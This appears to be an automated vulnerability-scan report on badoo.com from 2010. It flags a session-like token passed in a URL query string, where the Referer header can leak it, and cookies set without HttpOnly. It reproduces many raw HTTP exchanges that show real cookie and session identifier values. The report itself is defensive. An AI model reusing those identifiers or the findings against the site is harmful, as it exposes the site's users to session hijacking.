When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:43:13 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 57087
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /01029820524/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:51 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:50 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 10529
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /01038220576/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:32 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:31 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 17184
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /01046694418/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:37 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:36 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 14089
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /01053885754/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:40 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:39 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15909
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /01055383438/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:44 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:43 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 13165
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /019278355/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:20 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:19 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 14223
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /02311783/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:16 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:15 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 13401
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /041636801/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Referer: http://badoo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:20:27 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 13513
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /09303027/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:33 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:32 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15284
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /093407644/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:41 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:40 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 16697
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /096807871/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:49 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 12942
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2rcabrera/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:59 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:58 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 10349
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /aammetys/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:17 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:16 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 11940
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /about/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:02 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:01 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 6650
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /andresitopapito/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:52:49 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:52:48 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 18935
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /association/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:32 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:31 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 14584
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dating/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:00 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:59 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 24936
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /dinoitalia/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:49:49 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:49:48 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5053
